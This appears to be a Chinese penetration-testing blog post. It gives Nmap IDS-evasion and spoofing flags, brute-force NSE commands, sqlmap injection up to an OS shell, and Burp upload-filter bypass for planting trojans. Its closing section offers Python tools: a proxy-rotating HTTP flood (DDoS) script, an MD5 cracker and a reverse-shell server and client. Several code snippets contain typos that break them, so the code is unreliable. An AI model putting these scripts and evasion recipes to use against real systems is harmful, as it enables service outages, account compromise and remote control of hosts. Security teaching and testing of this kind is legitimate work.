LINUX-PENETRATION
十二月 25, 2021
NMAP高级嗅探
(网络)防火墙逃逸嗅探
- IDS(Intrusion Detection Systems)入侵检测系统
- NMAP逃逸方案:
- 报文分段:
nmap -f [IP]
//将TCP头分段在几个包中,使过滤器、IDS以及其他工具检测更加困难 - 指定最大传输单元(MTU,Maximum Transmission Unit):
nmap --mtu [num] [IP]
设定TCP/IP协议传输数据时最大传输单元,有效实现逃逸 - 隐蔽扫描:
nmap -D RND:[num] [IP]
“-D”启动隐蔽扫描,让目标主机认为是利用诱饵进行扫描而非本机,实现隐藏自身IP。(应对方式:路由跟踪、响应丢弃等) - 源地址欺骗:
nmap -sI [www.baidu.com:80] [IP]
伪造一个地址作为发起扫描的源地址 - 源端口欺骗:
nmap --source-port [num] [IP]
指定一个随机端口,通过该端口发送数据 - MAC地址欺骗:
nmap -sT --spoof-mac [MAC] [IP]
- 附加随机数据:
nmap --data-length [num] [IP]
参杂一些随机数据影响防火墙判断
- 报文分段:
NSE 脚本
1. 信息收集脚本
- IP信息:
nmap --script ip-geolocation-* [IP]
- Whois:
nmap --script whois [site]
- IP反查:
nmap --script hostmap-ip2hosts [site]
2. 漏洞扫描脚本
- windows系统主机漏洞扫描:
nmap --script smb-check-vulns.nse -p [IP]
- web漏洞扫描:
nmap -sV --script=vulscan/vulscan.nse [IP]
Vulscan漏洞扫描高级脚本,包含CVE\OSVDB\Exploit-db\openvas多个平台指纹数据,具备离线扫描功能。(脚本地址存放于目录\nmap\scripts\下)
3. 渗透测试脚本
- FTP服务审计:
nmap --script ftp-brute --script-args userdb=user.txt,passdb=pass.txt -p 21 [IP]
通过设定的字典对FTP爆破 - Wordpress密码审计:
nmap -p80 --script http-wordpress-brute --script-args userdb=user.txt,passdb=passwd.txt [IP]
// 可通过设定线程数量提高破解速度:--script-args http-wordpress.threads=[num]
- 数据库安全审计:
nmap -p80 --script oracle-brute -p 1521 --script-args oracle-brute.sid=test --script-args userdb=username.txt,passdb=passwd.txt [IP]
(MySQL操作一致)
SQLMAP
基本操作
sqlmap -u URL --tables
伪静态注入
- 实质:使用了ASP一类的动态脚本实现
- 存在漏洞位置加 “ * ”:
sqlmap -u URL/id/40*.html --dbs
Cookie注入
- 产生来源:request方法,用户可从提交的参数中获取参数值
sqlmap -u "http://xxx.xxx.xxx/shownews.asp" --cookie "id=25" --tables --level 2
- 将URL分段
- 使用
--cookie
进行连接 - 设置
--level
等级2级以上
POST类型注入
- 产生来源:(搜索框、登录框)对POST过滤不严
- 操作步骤:
- 方法一:
- 获取表单信息进行分析:找出输入框对应参数变量
- 使用
--data
指定注入点:sqlmap -u http://xxx/Login.asp --data "[Name]=1&[Password]=1"
- 方法二:
- 使用
--forms
sqlmap自动获取相关信息,查看输出结果Payload:
处:sqlmap -u http://domain/Login.asp --forms
- 使用
- 方法一:
防火墙逃逸
- 方案一:
--delay 1
使用延迟方法逃逸 - 方案二:
--tamper "xxx.py"
执行逃逸脚本(默认脚本位置:/usr/share/sqlmap/tamper/)
命令执行与维持访问
- 产生来源:开发者配置问题,不限制数据库权限,注入点未添加权限限制
--os-cmd=xxx
--os-shell
Burp Suite
基本操作:
1. proxy>>Intercept
- forwar
- drop:放弃当前数据
- intercept is on/off:开关
- Raw:请求地址、http协议版本、主机头、浏览器信息、cookie、网页内容等信息
- Params:GET请求、POST请求、Cookie参数
- Hex:显示Raw选项的16进制内容
2. 密码安全审计(Intruder)
- Action >> Send to Intruder
- Positions:
- Add$:选中内容设置为变量
- Clean$:重置变量
- Auto$:自动选取变量
- Refresh
- Attack type:
- Sniper:适合只有一个变量,每次填入一个参数进行审计
- Battering ram:用于两个及以上的变量,在一个字典文件中提取一个值覆盖多个变量进行审计
- Pitchfork:在两个字典文件中提取一对或一个值覆盖变量
- Cluster bomb:使用两个字典进行排列组合并进行审计
- Payloads:设置payload模式,配置字典
- start attack:观察len长度,进行筛选
3. 重放攻击
- intruder 传递审计结果到 repeater :重放发送,查看响应内容
- proxy 上传数据(木马)传递到 repeater 进行数据欺骗:修改文件类型验证信息,进行重放攻击验证(当目标服务器配置了文件格式限制)
- 扩展名验证:
filename="xxx.php"
- MINI类型验证:
Content-Type:
2. 文件头校验/文件完整性验证:插入真实的[图片文件]
- 扩展名验证:
4. 响应比较
- Comparer:自动高亮功能方便比较
5. Web漏洞脚本安全审计:Taget >> scan
6. cookie安全性随机分析:Sequencer
7. 编码解码器:Decoder
8. 第三方模块:Extender
BeFF测试Xss漏洞
Develop Penetration Tools
1. 简单的FTP破解程序样式(可优化,加入多线程提高性能等)
1 | from ftplib import FTP |
2. MD5破解程序(彩虹表碰撞、穷举法)
python提供了hashlib模块,对明文进行MD5加密
1
2
3
4import hshlib
md5 = hashlib.md5()
md5.update('Python'.encode('utf-8'))
print(md5.hexidigest())程序思路:取出字典中的明文,使用hashlib进行加密,加密结果与密文进行对比,一致打印明文,不一致则继续循环。
- hashlib加密明文
- datatime计算程序运行时间
- sys获取输入的密文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import hashlib
import datetime
import sys
name=sys.argv[1]
starttime=datetime.datetime.now()
for i in open(r'C:/123.txt'):
rs=i.strip()
md5=hashlib.md5()
md5.update(rs.encode('utf-8'))
newmd5 = md5.hexdigest()
if newmd5 == name:
print("解密成功!明文是:",rs)
break
else:
pass
endtime = datetime.datetime.now()
print(endtime-starttime)
3. Web密码安全审计工具
4. ChallengeCallapsar压力测试(CC:WEB DDOS)
原理:多线程模拟多合法用户,确保有大量可用的代理地址
操作思路:
引入urllib、threading模块,将获取的代理地址以列表方式存储(代理地址可采取爬虫方式批量获取)
1
2
3
4
5
6
7
8
9
10from urllib import request
import threading
url = "http://www.xxxx.com/"
proxies=["114.xxx.xxx.xx:xxxx","xxx.xxx.xxx.xxx:xxxx","xxx.xxx.xxx:xxxx"]
class cc(threading.Thread):
def __init__(self,url,proxies):
super(cc,self).__init__()
self.url=url
self.proxies=proxies
self.start()CC函数定义
- request.ProxyHandler()函数设置代理服务器
- build_opener()函数创建自定义Opener对象
- Install_opener()函数创建opener
- 可选择使用random.choice()随机选择代理地址,可呈现不规则方式,躲避目标防火墙
1
2
3
4
5
6
7
8
9
10
11# class cc(threading,Thread):
def run(self):
while True:
try:
pro_random = random.choice(self.proxies)
pro_support = request.ProxyHandler({"http":pro_random})
opener = request.build_opener(pro_support)
request.install_opener(opener)
request.urlopen(self.url)
except:
pass执行循环
1
2for i in range(5000):
cc(url.proxies)
5. 后渗透(维持访问):TCP反向连接
服务端:
- 导入socket模块
- 安装并绑定套接字,允许最大连接数100,超出则拒绝
- 通过一个while循环来接受并发送用户执行的命令
- 将结果接收回来并打印
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('',1234))
s.listen(100)
conn,addr = s.accept()
while 1:
command = input('......>')
if command == 'exit()':
conn.send(command.encode('gbk'))
break
else:
if command == '':
continue
conn,send(command.encode('gbk'))
result = conn.recv(1024)
print(result.decode('gbk','ignore'))
s.close()客户端
- 使用subprocess执行获得的用户命令
1
2
3
4
5
6
7
8
9
10
11
12import socket,subprocess as sp,sys,re
conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.connect(('127.0.0.1',1234))
while 1:
command = conn.renv(1024)
if command == 'exit()':
break
else:
sh = sp.Popen(command.decode('gbk'),shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE)
out,err=sh.communicate()
conn.send(out)
conn.close()
查看评论